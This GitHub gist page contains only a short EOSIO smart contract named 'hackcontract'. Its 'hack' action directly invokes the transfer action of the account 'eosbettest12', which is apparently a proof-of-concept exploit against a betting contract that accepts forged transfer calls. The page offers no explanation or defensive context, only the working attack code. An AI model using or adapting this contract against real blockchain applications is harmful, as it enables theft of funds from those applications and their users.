Skip to content

Instantly share code, notes, and snippets.

@quocle108
Created November 30, 2018 06:19
Show Gist options
  • Select an option

  • Save quocle108/55045d76a5f4a8248b86ae8cdcd3b686 to your computer and use it in GitHub Desktop.

Select an option

Save quocle108/55045d76a5f4a8248b86ae8cdcd3b686 to your computer and use it in GitHub Desktop.
class hackcontract : public eosio::contract
{
public:
hackcontract(account_name self) : eosio::contract(self) {}
void hack(account_name self, eosio::asset quantity, std::string memo)
{
eosio::action(
eosio::permission_level{_self, N(active)},
N(eosbettest12),
N(transfer),
std::make_tuple(_self,N(eosbettest12), quantity, memo)).send();
}
};
EOSIO_ABI(hackcontract, (hack))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment